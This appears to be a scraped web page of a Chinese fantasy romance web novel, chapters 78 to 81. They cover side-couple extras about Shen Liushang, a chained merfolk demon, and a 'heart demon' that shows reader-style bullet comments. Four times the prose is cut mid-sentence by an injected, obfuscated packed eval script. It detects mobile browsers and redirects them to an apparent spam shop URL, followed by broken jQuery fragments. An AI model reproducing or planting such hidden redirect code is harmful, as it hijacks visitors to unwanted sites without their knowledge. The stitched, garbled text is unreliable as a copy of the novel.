;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576367|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。到了坟前,先把黄纸点了,一会儿就烧成灰,飘飘悠悠地往天上飞,然后开始说些交代的话。 老大家娶媳妇了,新媳妇长得周正,两小子争气,今年盖新房了,四合院那种的。家里那头老牛死了,这头畜牲跟着家里十几年,耕地拉车,勤勤恳恳的,死了真怪可惜的。说着说着,天就暗下来了,两个汉子就恭恭敬敬地搀扶着老太太站起来,提起空篮子,慢悠悠地往回走。 年年春天来,身边那座坟上的荒草就猛猛地长起来,根须往土里扎,怎么也除不干净。 他的灵力不断地散出去,荒山林间竟还修出了一群小精怪来。它们窸窸窣窣地靠近,靠近,再靠近。 然后把他啃得破破烂烂的,小精怪们吃得饱饱的,心满意足地散开,声音叽叽喳喳。 谢济泫总算又继续走下去了。他坐在一棵大树下,拿出本子写。 “遇见一群小精怪,和你一样,它们也很喜欢我,总爱跟我亲近。” 他身上的伤正在自己愈合,他试着扒掉长好的肉,却发现长得太快了揭不下来,于是叹口气又写。 “还要继续走。” 秋天快结束的时候,谢济泫离开那片林子。 小鹿跑过来,在他手心里蹭了蹭。那群小精怪站在远处,不敢再靠近,但是都依依不舍地望着他,然后流了一地的口水。 谢济泫没有再回头。 秋天过去,冬天又来了。 谢济泫走过很多地方。他见过很多风景,遇见过很多人,也遇见过很多人魔妖仙。 但还是不够,无论散出去多少灵,他都会恢复如初。 谢济泫烧了那本画册,转身回了幽都。 风从身后追上来,掀动他的衣角。他怔了一下,这是柳知微的气息,有时她会托东风递给他讯息。 一封书信在风里凝成形,封口烙着一个大大的沈字,似乎在昭示着什么。他拆开,里面正是当初聚有沈流商最后一点灵魄的那支鸾羽。 指尖刚触上去,羽毛忽然流光溢彩,眨眼间就鼓成一只圆滚滚的鸟,扑棱着翅膀往他肩上扑。 祝东风化作的小人儿兴奋得直蹦,够着去抓那只鸟,眼里的光一闪一闪的。 谢济泫捧着那只鸟,站在原地,半天没动,同时周围灵气波动,一条幽蓝色的小鱼凝成了形,欢快地围绕着谢济泫打转,然后亲昵地吻上了他的指尖,一缕心念真真切切地传过来。 “我很好,不必忧心。只是……有些念着你。” 恍惚间,仿若千万年前那人在耳畔,声音含着滚烫的热切。 “若此心可证,愿为比翼连枝,相守相持。若此志同行,自此同道共生,并肩而立。” “把自己照顾好,再等等我吧。” 姑媱山这边,柳知微嗑着瓜子,看桌上凭空冒出一本旧画册。 画册边角焦黑,像是被烧过。册子上灵力流转几圈,光芒渐渐暗下去。 她放下瓜子,盯着那本画册出神。 柳清圆从后面抱住她,下巴抵在她肩上:“真这么做?” 柳知微顺着往后靠了靠,贴近柳清圆的怀里:“沈师哥交代过,不能让嫂嫂出事,还有他传消息回来说他要再在外边浪几百年,先给嫂嫂编一个幻象出来撑一阵子,别让他在外边瞎逛。” 柳清圆没再问,只是把她圈紧了些。 给一个人假的念想,让他靠这点希望熬下去,这种感觉她再理解不过。柳知微当年失去五感的时候,她就是凭着这点残念一点一点熬过来的。 想要让他活下去,就必须这么做,因为沈流商这么一时半会儿是真回不来。 “沈流商真是想到个馊主意……我附着了一缕灵魄上去,那个幻象做得再真实不过,不会出差错的。” 柳知微偏头亲了亲她的脸:“那就好,师哥和嫂嫂他们会一直在一起的。” 幽都的深处,谢济泫捧着那一点残存的灵光,终于弯下了腰。他把脸埋进掌心,埋进那尾将散未散的小鱼里,泣不成声。 把酒祝东风,且共从容。 可惜明年花更好,知与谁同? 79. 副cp番外1 墨云绵延,残阳如血,与天边的火烧云融成一片,如金鳞绽开。 沈流商睁开眼时,被这刺目的光辉一晃眼,如大梦方醒。他的后背大汗淋漓,手紧紧捂住胸膛。他感受到,自己的心脏猛烈跳动着。 他没死。 莫名地,沈流商却觉得神思恍惚了一瞬,好似方才他便是那纨绔公子,踏一路繁花落星,拎一壶拂柳霜露,这样才是对的。 而他现在行于大荒,来完成试炼,捉捕叛逃师门的魔物才是假的。好似来到了一个不属于自己的空间。他的灵魂像被束缚在这空间里的一个蚕蛹。 “原来这群妖兽还有''惑心''这一手段么……得小心提防才是。” 来不及回神,身上剧烈的疼痛将他拉回现实,这具身体己经濒临崩溃,妖兽的抓痕狰狞刺目,发黑的伤口处鲜血淋漓。 沈流商一抬手,凭空化出一个小巧的纸鹤出现在他掌心。 “师父,弟子已陷大荒绝地。小队遭妖兽群袭,苦战三日,众师弟……尽殁。弟子独力已竭,四周兽踪不绝,恳请柳师姐速援。” 沈流商揭开袖子,手臂上尽是斑驳的毒痕。他双指按住手腕处,蓦地浮现出一圈红线似的烙印。 这是长生之力,能暂时延续他的生机。 沈流商垂眸:“哪怕心魔深种,魂归大荒,酌清誓死不从妖魔……” “酌清……为什么是酌清呢?”他听见自己说。 就在这时,他的眼前忽的闪过浮空的文字。 【天火……是凌霄神族……】 【我数人间岁岁枯,半坡拾得春一株,木樨不是人间种,方知长生长如缚。】 一道古老的声音在他耳边响起。 谁?! 沈流商周身一凛,瞬间戒备,清心咒几乎要脱口而出。他灵识虽弱,却也不该被邪物轻易侵入。 纷乱的文字突然消散,沈流商腕间的红线烙印骤然变得滚烫,仿佛被无形的力量牵引。 他压下心中的惊疑,循着烙印传来的微弱指引,强撑着伤体前行。 这是他的灵族印记。每一位灵族降生时,它便映刻于血脉深处,既是与天脉相系的凭证,也是牵引宿命的因果之线。 这具身体循着腕间烙印的指引前行,沈流商的意识仍有些昏沉。 行至一片浑浊的大泽前,腕间烙印明灭不定,沈流商停下脚步,垂眸凝视着死气沉沉的水面。 就是这里了。 这片水泽宛如一滩死水,尸臭弥漫,怨念缠绕。 沈流商瞪大眼睛:“不可!” 他不受控制地,几乎是僵直了身子一般纵身跃入。 大泽之下别有洞天。 他感受到体内的气息正与某物强烈共鸣。 他却不知,那源自于他神魄深处的一枚残缺的玉玦。 “心脏……疼得发紧。”沈流商屈起指节,抵住胸膛,像是要把那个地方抵出一个能透气的凹陷。 这强烈的共鸣是因为什么? 沈流商:“喂,这是什么?”他企图通过先前眼前浮现的文字获得解答。 就算是死后的梦,这感觉也太真切了些。 剜心刻骨,肝肠寸断。 似乎眼前的一切都被强行剥离,只剩下“离开”这两个字,澄澈分明,迫切得发疼,身边游荡的厉鬼凶煞缠绕在他身边,哀戚而绝望的嚎叫倒支撑着他最后的清醒。 沈流商咬紧牙关,唇角渗出血丝,单手强撑着那柄刻有“落九天”的银剑,剑身在煞气中依然凛凛生辉,仿佛是他此刻唯一能依仗的光。 “还是……撑不住么。”他低语,声音里带着不甘,“印记既已引我至此,这幅身躯却受不住此地机缘……难道真要就此错过?” 他缓缓抹去唇边血迹,指间已凝起离开的法诀。 可心底深处,却有个声音轻轻响起。 “但我不想走。” “我想留下来。” 话音未落,“砰”地一声打断了他的思绪。 “砰!” 一道瘦小黑影被掷到他身边,重重摔在地上。 沈流商睁开眼,手势骤停。他心下一沉,望向地上那团黑影。 尘埃落定,现出那“东西”的模样。确是个孩子,身形瘦小,衣衫褴褛,裸露的肢体上新旧伤痕交错,臀后垂着一截兽尾。 凌乱发丝下,一双兽瞳抬了起来。 沈流商:“这群小崽子,果真是不怕死。” 出逃之时,大荒这里一个小头头看中了他的灵体,便派出一群小狗腿要来弄死他。 但是沈流商现在真是没功夫跟这群小崽子耗了。他必须尽快离开此地,不然计划就会被扰乱。 那孩子打量他片刻,眼中凶厉未减,喉间发出低沉呜噜,似在警告。猝然暴起,五指成爪带着劲风直扑面门。 沈流商侧头闪避,袖口被凌厉爪风撕裂。 一击不中,孩子落地无声,再度伏低身躯,双眸死盯着他,翻涌着纯粹的攻击欲。 他受了伤,很艰难地抵挡着攻击。兽孩身上已被他的灵力擦出不少伤口,却仍如不知疼痛的野兽般疯狂扑来。 “真是难缠。” 沈流商眼中戾气一闪,正欲催动灵力将其彻底制服,一股源自穷奇血脉的暴虐杀意竟顺着灵力反冲,直侵他的识海。眼前瞬间蒙上一层血色,一个“杀”字几乎要主导他的意志。 “沈流商,回去。”一道熟悉的声音再度响起,让他骤然清醒。 沈流商?为什么又是流商? 碎石四溅,尘土弥漫。一个黑影如鬼魅般窜出,利爪直取那沈流商咽喉。他勉强侧身避开,那爪子擦着他的脖颈划过,带起一阵寒意。 突然旁边一处浅潭哗啦一响。一样东西“噗通”一声掉落下来,原来是那只妖兽。 只是此刻,它已气息全无,脖颈处有着明显的撕裂伤,小小的身体以一种不自然的姿势蜷缩着,死状极其惨淡。 沈流商瞳孔微缩。这绝非寻常野兽所为,齿痕间隐约残留着一丝极淡却熟悉的灵力波动。 这大泽中,还有更大的鱼。 低沉而执拗的声音从阴影深处传来:“灵族?……” “滚开,滚出去!” 沈流商循声望去,运起灵力,掌心间亮起一圈柔和的淡蓝色光晕,如捧月华,驱散了前方的黑暗。 “不、不!”那团黑影慌忙后退,却躲不过那灵光的照射。 灵光彻底照射至那怪物的身旁,受灵光照耀,它身上便出现道道灼痕。 沈流商定睛看去,那是一个被九条锁链贯穿的身影。那人抬起头,魔纹遍布的脸上,一双金色瞳孔亮得骇人。身下一截滑腻的鱼尾在地板上游移着,他手脚慌乱地遮掩着自己的脸庞。 而此刻,这双懵懂的眼眸,正一瞬不瞬地望着他,嘴角还残留着淋漓鲜血。 万千思绪如惊涛翻涌,最终却只化作齿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576368|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缝间挤出的三个字。 “落九天!” 沈流商神色一凛。 “诛邪!” 雪色剑光再次亮起,劈开夜幕的刹那,石座边的魔气如潮水般退散。然而这丁点剑意瞬间便被魔气吞噬。 九条锁链从那人身上垂落,在潮湿的地面上蜿蜒如蛇。昏暗的光线下,那双瞳孔格外醒目。 “不、不……不要伤害我……”那形似鲛人的魔物拼命招手,神情焦急。 沈流商又要挥剑再刺。 然而,凌厉的锋芒在强大的魔气压力下逐渐停滞,霎时间无数金线拔地而起,将沈流商全身包裹,缠绕成一个金色蚕蛹悬在半空,只有睁大的眼睛显露了他的震惊与不屈。 那魔物身上的锁链似乎因这变故而松动,他一点点移到沈流商身边,动作小心翼翼,带着一种近乎“羞涩”的畏缩。 沈流商脑中闪过这个词。谁能想象“羞涩”和这魔物结合起来的诡异感? 这魔物好奇地打量着他,时不时抬起尖锐的利爪戳一戳他的脸,又一下子退开,眼神躲闪。 近距离下,沈流商才注意到他那双金色瞳孔里闪烁着诡异符文,锁链如活物般钻入他的经络百脉,随着他的情绪变化忽明忽暗。 突然,少年的身体猛然颤抖起来,他双手抱头,尖利的指甲刺入皮肉之中。 沈流商微微挑眉,正欲开口。 少年猛地后退,锁链哗啦作响,剧痛让他身形一滞,锁链贯穿的地方又迅速长出紫色魔晶。 金线撤去的瞬间,沈流商掉落在蔓延疯长的藤蔓上,护住了经络。 少年抓起幻化出来的佩剑,踉跄着步子又要向这魔物刺去,不过几步距离,他却跌跌撞撞,身形明显不稳。 魔物死死盯着摔落在地的佩剑,双目圆睁,胸腔剧烈起伏着,忽而发出一声低吼:“…………咳咳咳——!” 沈流商双手拄地,勉力撑起染血的身躯。他盯着眼前翻涌的黑雾,每个字都从紧咬的牙关中迸出。 “妖魔……今日我若葬于你手……” 他喉间涌上一股腥甜,硬生生咽下,破碎的衣袂在罡风中猎猎作响。 “……便是辜负师门教养,玷污手中这柄银纹剑。” “我此生最厌妖魔之流,宁死亦不会化妖,纵然身死,我必力战至最后一刻……” 眼前的魔物浑身颤抖,冷汗混着未干的血迹滑落,在苍白的脸上划出几道狰狞的痕。 “厌恶……妖魔……?” 沈流商悄悄聚起指尖灵力,正要唤剑迎击。 然而,那魔物喉咙里滚落出的却是几声低哑的呜咽,几息之间便泪水涟涟,一滴一滴砸落在冰冷的地面上。 少年愣住了,积蓄的杀招僵在半空。 沈流商:“……” 他看着眼前这个顶着骇人面孔、却哭得像个迷途孩子般的魔物,心头涌起一股极其荒谬的感觉。 “我……我不记得了……”少年哽咽着,抬起泪眼朦胧的金眸,“我只记得要在这里等一个人……等了很久很久。你身上的气息……很像他。” 他向前微微倾身,锁链哗啦作响,声音带着卑微的乞求:“你……带我走,好不好?” 沈流商看着这张脸,听着这恳求,同门师兄弟被妖魔利爪穿心的画面骤然清晰。他压下翻涌的气血,冷笑道。 “带你走?让你们这群妖魔有机会再骗我一次,再杀我一次吗!” 80. 副cp番外2 沈流商猛地后退一步,手腕上的咒纹灼热发烫,仿佛感受到了被利爪贯穿神魂的剧痛。 他的眼神又重新变得锐利起来:“带你走?让你们这些妖魔有机会再骗我一次,再杀我一次吗!” 【我靠靠靠靠靠开局就是囚禁play吗?作者你很敢呐,某口江不同意哟~】 【ber不是?爷的清冷剑修x黑化美人哪去了?】 【前世今生恨海情天,kswl!!!】 沈流商不禁被这几句话噎了一下,差点剑都要拿不稳了。 这心魔真是相当地厉害。 [“人鱼少年被他话语中的寒意刺得一颤。锁链随着他的动作发出细碎的声响,他仰起脸,眼底水光潋滟,带着全然的困惑与无措。] [''我、我不晓得怎么惹你生气了……''他下意识地偏过头,试图遮掩自己的面容,声音越来越低,''是、是我太丑了吗……你、你不喜欢我这个样子也对……那些见过我的,都说我丑得很……''”] 沈流商眼前忽的出现这样一大段文字,弄得他有一瞬眼花。而且这段文字飘过时,那魔物同时动作,便如同这段文字的重映一般。 沈流商再次念起清心咒。 【啊啊啊!宝宝也被小狗迷住啦?】 【小狗这姿色,宝宝怎么能把持得住嘛!宝宝记得晚上把裤腰拉紧哦~】 不管用不管用不管用! 沈流商脸色一沉……他定要将背后之人拉出来碎尸万段! 见沈流商不为所动,魔物像是下了极大的决心,急切地保证:“你、你带我离开,我会变得更好看的……变成你喜欢的模样……” 他说话磕磕绊绊,仿佛懵懵懂懂的孩童,带着一种笨拙的恳切。 藤蔓窸窣作响,缓缓退开,露出他身后那尊粗糙古朴的神像。神像面容模糊,垂眸敛目,双手交叠按于剑鞘之上,剑格处缠绕的藤蔓纹路正散发着幽蓝光芒。 “我、我给你看宝物……”魔物小声说着,眼神怯怯地偷瞄沈流商,“他们、他们都喜欢这个,我、我都给你。你要是不带我走也、也没有关系,只要你高兴就、就好。” 沈流商的指尖颤抖了一下。腕间咒纹的红光灼烧着魂魄,带来阵阵隐痛,而那神像模糊的眉眼间,竟同时蕴藏着肃杀的剑意与宽厚的神性。 那藤蔓无声无息地缠上沈流商的腰肢。他猛地回神,长剑挥出,斩断再度蠢蠢欲动的藤蔓,身形疾退。 “对、对不起!”魔物慌忙解释,脸颊泛起羞怯的红晕,“因为我太想把你留下来了……这些藤蔓,会顺着我的心绪自主行动……抱、抱歉……” 【这是什么小可怜!腰杆直起来!你可是一!铁打的一!】 【刚刚的藤蔓是要悄咪咪摸腰是不是?宝,光明正大地摸!这门亲事我同意了!】 沈流商皱眉。 这“一”为何物? 沈流商回想着这脑中翻涌的一切,似乎是从“魔物”开始,这心魔便生了? 他为击退兽潮,强行借用长生秘术,理应会有代价。可是沈流商怎么也没想过,是这样一副模样。 还有那“亲事”…… 沈流商:“……”怎么感觉在看他和魔物的风月话本? 解铃还须系铃人。这样一个心魔到底是隐患,在此之前,不如先把魔物带在身边,以便寻求破解之法。 这般想着,沈流商拭去唇边血迹,压下翻涌的气血,声音依旧冷淡:“无事……是我冲动了。”他顿了顿,语气不善道,“你又为何觉得我能救你?” 【诶?宝宝怎么这么冷淡啊啊啊啊!】 【好冷漠,我的cp要流产了吗呜呜呜……】 随即,沈流商便感到一阵剧烈的头痛,手上的剑也掉在了地上,眼前再次飘过一大篇幅的长文。 [“他含情脉脉地看向半跪在地的魔物,眼神中充满感动,他看着人鱼少年那满含澄澈的可爱的大眼睛,心中一动,俯身便吻了下去。而少年,就像迷失已久的小动物,终于找到了他的主人。”] [“他并指如刀,在腕间划开一道血痕,殷红的血珠瞬间沁出。少年仰起头,乖顺地凑近,冰凉的唇瓣触及皮肤时带来细微的战栗。他小口吞咽着,苍白的脸颊逐渐染上绯红,喉间溢出满足的轻叹,眼尾也泛起秾丽的红色,仿佛饮下的不是鲜血,而是什么令人沉醉的琼浆。”] [“这模样惹得沈流商心尖颤动,再次覆上了那张唇,加深了那个吻,少年那眼底已是口口口,翻涌着几乎要压制不住的口口,悄然动手顺着他的衣袍滑落,带着一种刻意的、折磨人的缓慢,这时沈流商口口口口口,然后魔物口口口口口口口……”] 沈流商:“……”看着这满屏的小口文,他几乎要昏死过去。 然后这段小口文的最后还跟着一串放大了好几倍的文字,特意标红了—— 【已接收关键词:“吻”!】 沈流商一瞬间觉得脑袋放空了,他只模模糊糊地听见魔物还在自顾自一个劲儿地解释着。 “因为这神像与你很相像。”魔物眼中燃起微弱的希望,“那个封印我的人告诉我,在这里等着你。你若给我喝下你的血,我便能摆脱妖魔身份。”他努力挺直单薄的胸膛,想要证明自己的价值,“你、你也不会亏本的……我很壮实、又很乖,也有本事的,绝不会给你惹麻烦。” 沈流商的目光掠过魔物那双写满不安的眼睛,落在他身后那尊神像上。神像的轮廓在幽蓝光晕中若隐若现,竟与他在凌霄殿中见过的先祖图腾有几分相似。 “那个封印我的人告诉我,在这里等着你……” “可以。”沈流商冷不丁听见自己的声音,回答得干脆利落,毫不犹豫。 他挣扎似的咬破了自己的唇瓣,然后带着视死如归的决绝眼神俯下身去。呼吸交缠、十指相扣、然后……唇齿相依。 发生的全过程,沈流商清晰地看见魔物眼中一闪而过的惊讶,随即化为主导者,亲昵地捧起了他的脸颊,以更加不容抗拒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576369|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的姿态覆上他的唇,如烙印一般的……吻。 【天呐天呐我的妈我的姥我的褂子我的袄!!!我的老婆你别跑!!!】 【做恨做恨!给我狠狠地口口他,谢小狗你是不是个男人!】 然后沈流商脑中响起“叮——”地一声,似乎所有意念又重回到身体里,看着面前还抱着自己啃的某人…… 然后一脚把人踹飞了。力道十成十。 魔物撞到了石像坚实的基座上,虚弱地咳出一口血。 沈流商:“……”他真的错了,应该直接杀掉的!魔物直接去死更好! 而被踹出内伤的魔物……他抬头茫然地看向沈流商,小心翼翼地擦去唇边的血,不知道该怎么才能哄他高兴。 这个奇怪的人!要亲的是他,生气踹人的也是他,少年不晓得怎么才能让他满意,答应救自己出去。 沈流商面无表情地回应他的茫然目光,双手持剑,寒萧剑芒便要直刺他面门而来! 魔物下意识闭上了眼。 然后什么也没发生。 他诡异地睁开了眼,然后看见沈流商亲昵地抓紧了他的手,堪称深情地望向他。 然后口中吟诵古老的誓约,词句庄重:“看此日桃花灼灼,宜室宜家;卜他年瓜瓞绵绵,尔昌尔炽。谨以白头之约,书向鸿笺;好将红叶之盟,载明鸳谱。”每一个字都清晰冰冷,掷地有声。 沈流商温柔地在魔物手背上落下缠绵一吻,眼神都要拉丝了:“但愿君心似我心,定不负相思意……” 魔物先前求他结的是奴契,然而沈流商在所谓“心魔”的操控下,跟他结下的……是同心契。 生死同途,不离不弃。 而且,灵族一旦结下这契,便再不能解开了。 随着他的话语,魔物周身泛起柔和的光晕,锁链应声碎裂。他水润的眼眸一瞬不瞬地望着沈流商,里面情愫暗涌,交织着感激、依赖。 看来这人虽怪得很,心地还是不赖,说到做到。 轰隆—— 封印彻底崩毁,整个空间开始剧烈坍塌。神像倾颓的轰鸣被撕裂声吞没,沈流商只觉得身子一轻,便被无形之力狠狠抛入一片寒潭。 刺骨寒意瞬间席卷全身。他挣扎着浮出水面,剧烈咳嗽时,却见一尾红鲤绕着他手腕游弋,鳞片在幽暗水光中泛着诡谲色泽。 还未等他反应,那红鲤忽地跃起,化作一道流光,径直钻入他尚在淌血的伤口,然后便愈合了。 那少年将他抱到岸上,沈流商此时浑身湿透,冷得指尖发颤。他下意识抬手,抚过手腕处——那里,一道赤绳似的光纹正幽幽流转,在血色弥漫的空气中投下诡魅光晕。 他不自觉地抚上心口。这里,曾被妖魔利爪穿心。 也是这里,结成了同心契印。和魔物…… 耳边的声音未停。 【本文甜度超常上升!!!奖励“治愈术”,当前伤势减轻,灵力恢复:(45/100)!请再接再厉哦~】 81. 副cp番外3 【同心契已定,祝百年好合哦宝宝~】 【进度这么快的吗?豹豹猫猫我出生了!】 收到这消息时,沈流商如遭雷击。他睁开眼,正对上那魔物近在咫尺的脸。 少年脸上的魔纹已尽数褪去,彻底恢复了人身。墨发用朱丝绳松松系起,浅灰丝线在绿缎上绣出细密纹样,几片落花不经意间缀在衣襟,恰似人间一抹绝佳春色。 沈流商:“……”哪来的落花? 这副模样,倒比先前更像个人了。 也让他更觉碍眼。 他没好气地推开那魔物,双指按上眉心,凝神内观。 识海澄明,魂息平稳。灵脉间确实留有疗愈的痕迹……这棘手的心魔,竟真能为他所用。 只是想起先前种种,沈流商心下沉沉——每当他脑中响起不满的言语,眼前便会浮现文字,强行操控他的行动。尤其在他试图远离谢济泫时,那股力量便格外霸道。 若顺从它,倒能助他疗伤,似乎不算亏本。 可一想到要做的那些事……沈流商无意识抚过唇瓣,那里还残留着被啃咬的触感。 他定了定神。不如暂且与这魔物周旋,待离开大荒进入长生天,再设法解除这邪障。至于同心契……届时折断他四肢,囚禁身侧,叫他再不能兴风作浪,也无人能借此威胁。 思绪既定,沈流商稍稍平复心绪,转而看向那人。 那傻子正为新得的人形雀跃不已,低头扯扯衣袖,又好奇地打量周身。察觉到沈流商的目光,他立刻端正跪坐,垂着脑袋,却忍不住偷偷抬眼瞄他。 见沈流商面色不虞,少年本能地缩了缩脖子——生气的老虎不好惹。 他不懂“亲吻”意味着什么,更无情欲之念。沈流商要亲,他便仰头承接;沈流商要踹,他亦安然受之。只要不被抛弃,能留在这人身边就好。 毕竟天地茫茫,他不知该去往何处。他需要一盏引路的灯。 少年安静地跪在原地,任由沈流商审视。 半晌,沈流商终于开口,指尖轻勾:“过来。” 魔物怔了怔,毫不犹豫地凑近。他已做好或被亲或挨踹的准备,神色坦然得像等待投喂的狗崽子。 沈流商要与他立规矩。 “可有姓名?” 少年歪歪头。纯听不懂。 沈流商叹口气:“我乃从极之渊沈氏流商,拜于长生天怀崖长老门下。这便是姓名,姓名是归宿。” 少年点点头,磕磕绊绊地开口。 “谢、谢济泫……之前封印我的人叫过我这个,喜欢叽叽喳喳,该用一根绳子悬在半空吊死。”他在沙地上写出这三个字。 沈流商:“……你且记下,是博施济众,月泫珠光。心中莹澈则天地皆宽,仁德自在其中的意思。” 谢济泫摇头:“记不住。” 沈流商扶额:“……” 他直接切入主题。 “既已同舟共济,从今往后,你须对我忠心不二。” 谢济泫乖乖点头。 “既是我的人,首要便是守规矩。想留在我身边,就得证明你的价值。” “譬如我助你恢复人身,你可知该如何报答?” 沈流商笃定谢济泫多半在装傻,有意试探他的真话,待回了宗门,这魔物若真一心向善,倒能行修习之事。 他支着下颌,垂眸看向谢济泫。静待片刻,那人终于有了动静。 “让你高兴。” 沈流商嗤笑挑眉:“怎么个高兴法?” 谢济泫脑中闪过沈流商亲吻他时泛红的脸颊,觉得那人当时应是欢喜的,便脱口而出:“亲你。” 沈流商:“……” 脑中的声音轰然炸开。 【救命他好会!啊啊啊啊我鼠了!!!】 【好嗑爆了姐妹们有没有?!】 【可以的宝子,可以的!】 沈流商:“………………………” 眼前浮现熟悉的文字。 [请说出“很好,以后你就是我的人了,没有人可以抢走你,我要你留在我身边,生生世世都别想着逃走!”并完成亲昵互动!] 这次的文字并未带来强烈的胁迫感,仿佛给了他选择的余地。沈流商心知若表现得过于抗拒,心魔必定再度发作,只得勉强勾起唇角,抬手抚上谢济泫的脸。 “很好,以后你就是我的……奴隶。不准逃,不准离开……” 他动作僵硬,眼中杀意未消,整张脸冷若冰霜,与轻柔的触碰形成诡异反差。 谢济泫再不通世故,也察觉出沈流商在生气。可抚在脸上的指尖又那么温存,让他生出被珍视的错觉。 他看不懂沈流商的意图,只好茫然望着他,小声问道: “那我该怎么做……你才能不生气?……主人?” 被镇压的漫长岁月里,他曾见过这样称呼的主仆。 沈流商顿觉一阵恶寒。 你闭嘴就够了! 谢济泫却轻轻握住他覆在自己脸上的手腕,眼神纯真又专注。沈流商心头升起一种不详的预感,他立地起身,便见少年仰起脸—— 微凉的唇瓣堪堪擦过他的唇角。 与此同时,一只温热的手掌覆上他的双眼。视线陷入黑暗的刹那,有什么柔软的东西精准地贴上了他的唇。 一触即分,轻若羽毛拂过。 一阵酥麻感迅速窜过四肢百骸。沈流商向来抵触与人亲近,此刻被最人突然袭击,整个人都僵住了。 他怔怔睁着眼,连呼吸都忘了。唇上那抹转瞬即逝的凉意,却迟迟挥之不去。 待回过神来,连带着之前积压的怒火与羞愤轰然爆发。他猛地甩开谢济泫,将人狠狠掼在地上。 “谢济泫!”他声音发颤,耳根却不受控制地烧了起来,“你发什么疯!” 被掀飞的谢济泫连转三圈摔了个狗啃泥,然后像只鸵鸟似的一头埋在沙子里,眼前直冒金星。 沈流商懒得再管这个二傻子,愤然甩袖子走人。他迈步向前,脑中却依旧纷乱如麻。他试图凝神静气,默念法诀,往日里运转自如的灵力此刻却滞涩难通,心底空落落的,唯有一股焦躁不安愈燃愈烈。 太蠢了!这简直是沈流商平生未有的奇耻大辱! 在大泽中被那该死的心魔操控,尚可归咎于外力逼迫,身不由己。可现在呢?他竟是清醒着、眼睁睁地,被这个智力不全、脑子空空的二傻子版谢济泫抓着,结结实实地“啄”了一口! 一股热血“嗡”地一下冲上头顶,烧得他耳根滚烫。他沈流商活了两辈子,何曾受过这等轻慢?偏偏还是栽在这个、这个他最厌恶的人手里! “可恶!可恶!”沈流商回想着,忿忿不平地又调转方向回去,对着已经“半截入土”的昏迷的谢济泫,狠狠地又跺了几脚泄愤。 * 大荒乃人鬼交界之地,广袤荒凉,法则混乱,煞气冲天,是绝凶之地。 沈流商静静感受着那越发冰冷的气息,逐渐朝那方靠近。 谢济泫不敢靠太近,也不敢离太远,只一步一趋地缀在沈流商身后几步远的地方。他看着沈流商紧绷的背影,那眼神既委屈又困惑,还带着点小心翼翼的讨好。 气氛陡然压抑,风沙呼呼刮过。 谢济泫看着沈流商明显拒人千里的姿态,犹豫了许久,终于还是加快几步,缩短了那点距离,声音放得极轻,带着试探:“……主人?” 沈流商的脚步没有停顿。仿佛他根本没听见。 接下来,有请系统及时播报战况。 【用户“谢济泫”发送一条消息,状态:已读。】 【(系统提示:用户“沈流商”选择了忽略。)】 谢济泫抿了抿唇,又跟近了一点,这次声音稍微大了些:“主人!” 沈流商依旧不答,只是周身的气压更低了。 【用户“谢济泫”发送第二条消息,状态:已读。】 【(系统提示:用户“沈流商”回复:滚犊子)】 谢济泫有些无措地眨了眨眼。他不太明白为什么一个触碰会让沈流商反应如此之大。他回想起沈流商主动靠近他时的样子,虽然动作有些僵硬,但并没有此刻这般纯粹的排斥。 基于他简单的认知,谢济泫努力思索着,试图找到能让沈流商缓和下来的方法。“我……我以后不那样了,行吗?”他小声保证,带着点笨拙的诚意,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576370|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或者……主人告诉我,该怎么做好不好?” 沈流商终于有了点反应,不是回答,只是冷哼一声。 【用户“谢济泫”发送第三条消息,状态:已读。】 【(系统提示:用户“沈流商”回复:嘲讽的单音节。)】 这反应让谢济泫更加茫然。他好像说什么都不对,做什么都是错。一种莫名的焦躁和委屈涌了上来,抓在他心里头跟猫挠似的。 说不上来为什么,可是谢济泫就觉得,他不想被这样晾着,不想看到沈流商完全背对他的样子。 于是谢济泫快走两步,大胆拽住沈流商的袖子,梗着脖子道:“你说话。骂我也行。别不理我。” 沈流商猛地停住脚步。 他终于侧过头。 